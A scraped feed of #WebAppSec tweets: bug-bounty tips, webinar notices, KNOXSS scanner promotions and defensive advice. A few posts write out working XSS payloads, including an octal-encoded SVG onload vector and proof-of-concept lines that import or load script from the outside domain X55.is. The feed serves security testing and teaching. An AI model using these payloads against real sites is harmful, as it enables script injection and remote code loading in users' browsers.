When devs and managers are sure their app is secure! #XSS #WebAppSec #BugBounty #PenTesting

KN0X55's tweet image. When devs and managers are sure their app is secure!
#XSS #WebAppSec #BugBounty #PenTesting

🚀 Day 2 of 30: 🛠 - Identify Target Subdomains! Start with tools like - Facebook certificate transparency - Google certificate transparency - Findomain - subjack etc. 🔍 These tools save you time by gathering data from multiple sources. #WebAppSec #bugbountytips #bugbounty

harshad_hacker's tweet image. 🚀 Day 2 of 30:  🛠 - Identify Target Subdomains!
Start with tools like

- Facebook certificate transparency 
- Google certificate transparency
- Findomain
- subjack etc.

🔍 These tools save you time by gathering data from multiple sources. 

#WebAppSec #bugbountytips #bugbounty…

When going for Blind #XSS attempts, it's better to use a polyglot since we don't know the context of the injection in advance. Just saying. 😎 #WebAppSec #BugBounty #PenTesting

KN0X55's tweet image. When going for Blind #XSS attempts, it's better to use a polyglot since we don't know the context of the injection in advance.

Just saying. 😎

#WebAppSec #BugBounty #PenTesting

⚡ Webinar — Next.js Middleware Bypass & How to Detect It 📅 29 Sept 2025 | 🕘 9–10 PM 🎤 Speaker: @takeptoto 🔗 meet.google.com/tza-umrb-you #CyberSecurity #Nextjs #WebAppSec #CTF #Webinar

reun10n_'s tweet image. ⚡ Webinar — Next.js Middleware Bypass & How to Detect It
📅 29 Sept 2025 | 🕘 9–10 PM
🎤 Speaker: @takeptoto 
🔗 meet.google.com/tza-umrb-you
#CyberSecurity #Nextjs #WebAppSec #CTF #Webinar

What would you like to see about #XSS here? 🤔 Let us know in the comments! #WebAppSec #BugBounty #PenTesting


Mind the Headers: HTTP Security Headers (X-Frame-Options, X-Content-Type-Options, etc.) are crucial for defending against various attacks. Ensure your web app is fortified! #WebAppSec

Barbarossa0x's tweet image. Mind the Headers:
HTTP Security Headers (X-Frame-Options, X-Content-Type-Options, etc.) are crucial for defending against various attacks. Ensure your web app is fortified! #WebAppSec

Don't Underestimate HTTP Desync Attacks! HTTP Request Smuggling can lead to cache poisoning, XSS, and more. Make sure you know how to handle such vulnerabilities to keep your applications safe! #CyberSecurity #WebAppSec

Barbarossa0x's tweet image. Don't Underestimate HTTP Desync Attacks!
HTTP Request Smuggling can lead to cache poisoning, XSS, and more. Make sure you know how to handle such vulnerabilities to keep your applications safe! #CyberSecurity #WebAppSec

Today, I have a great resource reminder - which I have shared before - that I believe will be very useful for those who are improving themselves in the field of Web Application Security❗️🤓 Don't forget to add it to your bookmarks.🌸 Link: media.licdn.com/dms/document/m… #webappsec

brcyrr's tweet image. Today, I have a great resource reminder - which I have shared before - that I believe will be very useful for those who are improving themselves in the field of Web Application Security❗️🤓 Don't forget to add it to your bookmarks.🌸

Link: media.licdn.com/dms/document/m…

#webappsec

Here's my research about Python dirty Arbitrary File Write to RCE via overwriting shared object files or overwriting bytecode files. Enjoy! siunam321.github.io/research/pytho… #Research #WebAppSec


According to my VM update this morning @zaproxy 2.16.0 is now available on @kalilinux #DAST #PenTest #WebAppSec #AppSec #RedTeam #PurpleTeam

kingthorin_rm's tweet image. According to my VM update this morning @zaproxy 2.16.0 is now available on @kalilinux 

#DAST #PenTest #WebAppSec #AppSec #RedTeam #PurpleTeam

Here's my attempted research in PHP class pollution! Although I couldn't escape the object context and pollute other classes, it's still interesting that we can pollute the object's attributes and associative array's keys. siunam321.github.io/research/attem… #Research #WebAppSec


You have to be really good manually in order to beat KNOXSS testing 1000's of URLs automatically for every possible #XSS scenario it can detect and prove. 😊 Those XSS scenarios. 👇 knoxss.pro/?page_id=766 #WebAppSec #BugBounty #PenTesting

KN0X55's tweet image. You have to be really good manually in order to beat KNOXSS testing 1000's of URLs automatically for every possible #XSS scenario it can detect and prove. 😊

Those XSS scenarios. 👇
knoxss.pro/?page_id=766

#WebAppSec #BugBounty #PenTesting

Stay one step ahead of attackers by discovering essential best practices to secure your web applications and protect sensitive data. #CyberSecurity #WebAppSec #OWASP #cybersecurityawareness


Talking about #SSRF, I just got an idea to add SSRF-based #XSS to @KN0X55 ! It's coming in the update next week most probably. #WebAppSec #BugBounty #PenTesting


When devs and managers are sure their app is secure! #XSS #WebAppSec #BugBounty #PenTesting

KN0X55's tweet image. When devs and managers are sure their app is secure!
#XSS #WebAppSec #BugBounty #PenTesting

You have to be really good manually in order to beat KNOXSS testing 1000's of URLs automatically for every possible #XSS scenario it can detect and prove. 😊 Those XSS scenarios. 👇 knoxss.pro/?page_id=766 #WebAppSec #BugBounty #PenTesting

KN0X55's tweet image. You have to be really good manually in order to beat KNOXSS testing 1000's of URLs automatically for every possible #XSS scenario it can detect and prove. 😊

Those XSS scenarios. 👇
knoxss.pro/?page_id=766

#WebAppSec #BugBounty #PenTesting

XSS Without Parentheses location=tagName <JavaScript:"\74Svg\57OnLoad\75\141\154\145\162\164\501\51\76"/ContentEditable/AutoFocus/OnFocus=location=tagName> PoC: x55.is/brutelogic/gym… knoxss.pro - #XSS made easy. Try it now! #WebAppSec #PenTesting #BugBounty

KN0X55's tweet image. XSS Without Parentheses 
location=tagName

&amp;lt;JavaScript:&quot;\74Svg\57OnLoad\75\141\154\145\162\164\501\51\76&quot;/ContentEditable/AutoFocus/OnFocus=location=tagName&amp;gt;

PoC: x55.is/brutelogic/gym…

knoxss.pro - #XSS made easy.
Try it now!

#WebAppSec #PenTesting #BugBounty

⚡ Webinar — Next.js Middleware Bypass & How to Detect It 📅 29 Sept 2025 | 🕘 9–10 PM 🎤 Speaker: @takeptoto 🔗 meet.google.com/tza-umrb-you #CyberSecurity #Nextjs #WebAppSec #CTF #Webinar

reun10n_'s tweet image. ⚡ Webinar — Next.js Middleware Bypass &amp;amp; How to Detect It
📅 29 Sept 2025 | 🕘 9–10 PM
🎤 Speaker: @takeptoto 
🔗 meet.google.com/tza-umrb-you
#CyberSecurity #Nextjs #WebAppSec #CTF #Webinar

🔟 Server-Side Request Forgery (SSRF) ➡️ Attackers trick servers into making malicious requests. 🔑 Validate URLs, restrict network access, use allowlists. #SSRF #WebAppSec


Upload forms seem basic but are potential goldmines for attackers. The Upload Vulnerabilities room on @RealTryHackMe showed how easily malicious files bypass basic filters. A simple profile picture turning into remote code execution was mind-blowing. #UploadVulns #WebAppSec #RCE

707_Roi's tweet image. Upload forms seem basic but are potential goldmines for attackers. The Upload Vulnerabilities room on @RealTryHackMe showed how easily malicious files bypass basic filters. A simple profile picture turning into remote code execution was mind-blowing. #UploadVulns #WebAppSec #RCE

🏆 KNOXSS September 2025 Giveaway 🏆 ➡️ Follow, like and share! 😍 ➡️ 1 Month Pro access for 3 winners on Friday 5th Good luck! 🤞 Check what only KNOXSS can find for you: knoxss.pro/?page_id=766 knoxss.pro - try it now! #WebAppSec #BugBounty #PenTesting

Improve your #XSS PoCs w/ a remote call to our X55.is domain! ➡️ Replacing alert(1) '-import('//X55.is')-' <Svg OnLoad=import('//X55.is')> ➡️ As href/src attribute <Base Href=//X55.is> <Script Src=//X55.is> ➡️ Jumping to # for custom JS x55.is/brutelogic/gym…

x55.is

XSS Gym - Train your XSS Muscles

More than 30 different XSS cases to play with, show and share XSS Proofs-of-Concept (PoCs).



When going for Blind #XSS attempts, it's better to use a polyglot since we don't know the context of the injection in advance. Just saying. 😎 #WebAppSec #BugBounty #PenTesting

KN0X55's tweet image. When going for Blind #XSS attempts, it&apos;s better to use a polyglot since we don&apos;t know the context of the injection in advance.

Just saying. 😎

#WebAppSec #BugBounty #PenTesting

🛠️ Webinar — Writing Your First Burp Extension 📅 28 Aug 2025 | 🕘 9–10 PM 🎤 Speaker: Marcus (a.k.a benkyou) 🔗 Join: linkedin.com/feed/update/ur… #CyberSecurity #BurpSuite #WebAppSec #CTF #Webinar

reun10n_'s tweet image. 🛠️ Webinar — Writing Your First Burp Extension
📅 28 Aug 2025 | 🕘 9–10 PM
🎤 Speaker: Marcus (a.k.a benkyou)
🔗 Join: linkedin.com/feed/update/ur…

#CyberSecurity #BurpSuite #WebAppSec #CTF #Webinar

7/7 Security is about layers, not just a single pattern-matching rule. What are your go-to methods for bypassing filtered SSTI? #SSTI #BugBountyTips #WebAppSec #CyberSecurity #RedTeam


Break. Fix. Repeat. I’m back. #BugBounty #WebAppSec


⚠️ Stop Web Cache Deception in React.js: attackers exploit fake .css/.js paths. Learn Cache-Control, Vary, Next.js middleware, service workers, tests—with code. #ReactJS #CyberSecurity #WebAppSec #Nextjs #InfoSec cybersrely.com/web-cache-dece…


The 1-month plan is back! 😎 Billed just once, no recurring charges. It's perfect for you that want to try KNOXSS for the 1st time. Sign up and/or upgrade your existing account. knoxss.pro - #XSS made easy. #WebAppSec #BugBounty #PenTesting

KN0X55's tweet image. The 1-month plan is back! 😎

Billed just once, no recurring charges.

It&apos;s perfect for you that want to try KNOXSS for the 1st time.

Sign up and/or upgrade your existing account.

knoxss.pro - #XSS made easy.

#WebAppSec #BugBounty #PenTesting

The 1-month plan is back! 😎 Billed just once, no recurring charges. It's perfect for you that want to try KNOXSS for the 1st time. Sign up and/or upgrade your existing account. knoxss.pro #WebAppSec #BugBounty #PenTesting

KN0X55's tweet image. The 1-month plan is back! 😎

Billed just once, no recurring charges.

It&apos;s perfect for you that want to try KNOXSS for the 1st time.

Sign up and/or upgrade your existing account.
knoxss.pro

#WebAppSec #BugBounty #PenTesting

When devs and managers are sure their app is secure! #XSS #WebAppSec #BugBounty #PenTesting

KN0X55's tweet image. When devs and managers are sure their app is secure!
#XSS #WebAppSec #BugBounty #PenTesting

⚡ Webinar — Next.js Middleware Bypass & How to Detect It 📅 29 Sept 2025 | 🕘 9–10 PM 🎤 Speaker: @takeptoto 🔗 meet.google.com/tza-umrb-you #CyberSecurity #Nextjs #WebAppSec #CTF #Webinar

reun10n_'s tweet image. ⚡ Webinar — Next.js Middleware Bypass &amp;amp; How to Detect It
📅 29 Sept 2025 | 🕘 9–10 PM
🎤 Speaker: @takeptoto 
🔗 meet.google.com/tza-umrb-you
#CyberSecurity #Nextjs #WebAppSec #CTF #Webinar

🚀 Day 2 of 30: 🛠 - Identify Target Subdomains! Start with tools like - Facebook certificate transparency - Google certificate transparency - Findomain - subjack etc. 🔍 These tools save you time by gathering data from multiple sources. #WebAppSec #bugbountytips #bugbounty

harshad_hacker's tweet image. 🚀 Day 2 of 30:  🛠 - Identify Target Subdomains!
Start with tools like

- Facebook certificate transparency 
- Google certificate transparency
- Findomain
- subjack etc.

🔍 These tools save you time by gathering data from multiple sources. 

#WebAppSec #bugbountytips #bugbounty…

Today, I have a great resource reminder - which I have shared before - that I believe will be very useful for those who are improving themselves in the field of Web Application Security❗️🤓 Don't forget to add it to your bookmarks.🌸 Link: media.licdn.com/dms/document/m… #webappsec

brcyrr's tweet image. Today, I have a great resource reminder - which I have shared before - that I believe will be very useful for those who are improving themselves in the field of Web Application Security❗️🤓 Don&apos;t forget to add it to your bookmarks.🌸

Link: media.licdn.com/dms/document/m…

#webappsec

According to my VM update this morning @zaproxy 2.16.0 is now available on @kalilinux #DAST #PenTest #WebAppSec #AppSec #RedTeam #PurpleTeam

kingthorin_rm's tweet image. According to my VM update this morning @zaproxy 2.16.0 is now available on @kalilinux 

#DAST #PenTest #WebAppSec #AppSec #RedTeam #PurpleTeam

Courtesy of @psiinon a performance fix for @zaproxy Auth Helper was released earlier today. #AppSec #WebAppSec #DevSecOps #DAST

zaproxy's tweet image. Courtesy of @psiinon a performance fix for @zaproxy Auth Helper was released earlier today.

#AppSec #WebAppSec #DevSecOps #DAST

Mind the Headers: HTTP Security Headers (X-Frame-Options, X-Content-Type-Options, etc.) are crucial for defending against various attacks. Ensure your web app is fortified! #WebAppSec

Barbarossa0x's tweet image. Mind the Headers:
HTTP Security Headers (X-Frame-Options, X-Content-Type-Options, etc.) are crucial for defending against various attacks. Ensure your web app is fortified! #WebAppSec

Don't Underestimate HTTP Desync Attacks! HTTP Request Smuggling can lead to cache poisoning, XSS, and more. Make sure you know how to handle such vulnerabilities to keep your applications safe! #CyberSecurity #WebAppSec

Barbarossa0x's tweet image. Don&apos;t Underestimate HTTP Desync Attacks!
HTTP Request Smuggling can lead to cache poisoning, XSS, and more. Make sure you know how to handle such vulnerabilities to keep your applications safe! #CyberSecurity #WebAppSec

You have to be really good manually in order to beat KNOXSS testing 1000's of URLs automatically for every possible #XSS scenario it can detect and prove. 😊 Those XSS scenarios. 👇 knoxss.pro/?page_id=766 #WebAppSec #BugBounty #PenTesting

KN0X55's tweet image. You have to be really good manually in order to beat KNOXSS testing 1000&apos;s of URLs automatically for every possible #XSS scenario it can detect and prove. 😊

Those XSS scenarios. 👇
knoxss.pro/?page_id=766

#WebAppSec #BugBounty #PenTesting

There are several ways to test for #XSS that can be done manually but it is time expensive and very prone to be forgotten in a proper security assessment. Try knoxss.me #WebAppSec #PenTesting #BugBounty

KN0X55's tweet image. There are several ways to test for #XSS that can be done manually but it is time expensive and very prone to be forgotten in a proper security assessment.

Try knoxss.me 

#WebAppSec #PenTesting #BugBounty

🔍 How to crush it in bug hunting and web application pentesting effectively! Uncover vulnerabilities, master recon techniques, and level up your security skills. 🚀 🔗vivekpentest.com/2024/06/Bug%20… #BugBounty #WebAppSec #Pentesting #CyberSecurity #EthicalHacking #InfoSec #bugbounty


Get serious about #XSS! Sign up or upgrade. knoxss.pro - built for pros. #WebAppSec #BugBounty #Pentesting

KN0X55's tweet image. Get serious about #XSS!

Sign up or upgrade.
knoxss.pro - built for pros.

#WebAppSec #BugBounty #Pentesting

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